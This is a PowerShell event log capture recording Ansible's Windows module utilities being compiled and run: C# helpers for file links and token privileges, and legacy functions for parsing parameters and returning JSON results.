return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 49526f7c-a5ae-4f40-a7c3-62f3ac41a169
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = c037c970-0f50-48c1-9c8c-0f676fa9b0da
Pipeline ID = 8
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 36
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2162 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 4508 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:00 AM | 61e00a24-ee3b-0002-570c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 49526f7c-a5ae-4f40-a7c3-62f3ac41a169
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = c037c970-0f50-48c1-9c8c-0f676fa9b0da
Pipeline ID = 8
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2161 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 4508 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:00 AM | 61e00a24-ee3b-0002-530c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: af71ce35-3d40-480e-a578-5c0251b7ea5e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2160 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-9c0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
e oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}
'@
Function Import-PrivilegeUtil {
<#
.SYNOPSIS
Compiles the C# code that can be used to manage Windows privileges from an
Ansible module. Once this function is called, the following PowerShell
cmdlets can be used;
Get-AnsiblePrivilege
Set-AnsiblePrivilege
The above cmdlets give the ability to manage permissions on the current
process token but the underlying .NET classes are also exposed for greater
control. The following functions can be used by calling the .NET class
[Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($name)
[Ansible.PrivilegeUtil.Privileges]::DisablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::DisableAllPrivileges($process)
[Ansible.PrivilegeUtil.Privileges]::EnablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process)
[Ansible.PrivilegeUtil.Privileges]::RemovePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process, $new_state)
Here is a brief explanation of each type of arg
$process = The process handle to manipulate, use '[Ansible.PrivilegeUtils.Privileges]::GetCurrentProcess()' to get the current process handle
$name = The name of the privilege, this is the constant value from https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/privilege-constants, e.g. SeAuditPrivilege
$new_state = 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
The key is the constant name as a string, the value is a ternary boolean where
true - will enable the privilege
false - will disable the privilege
null - will remove the privilege
Each method that changes the privilege state will return a dictionary that
can be used as the $new_state arg of SetTokenPrivileges to undo and revert
back to the original state. If you remove a privilege then this is
irreversible and won't be part of the returned dict
#>
[CmdletBinding()]
# build the C# code to compile
$namespace_import = ($ansible_privilege_util_namespaces | ForEach-Object { "using $_;" }) -join "`r`n"
$platform_util = "$namespace_import`r`n`r`n$ansible_privilege_util_code"
# FUTURE: find a better way to get the _ansible_remote_tmp variable
# this is used to force csc to compile the C# code in the remote tmp
# specified
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $platform_util
$env:TMP = $original_tmp
}
Function Get-AnsiblePrivilege {
<#
.SYNOPSIS
Get the status of a privilege for the current process. This returns
$true - the privilege is enabled
$false - the privilege is disabled
$null - the privilege is removed from the token
If Name is not a valid privilege name, this will throw an
ArgumentException.
.EXAMPLE
Get-AnsiblePrivilege -Name SeDebugPrivilege
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][String]$Name
)
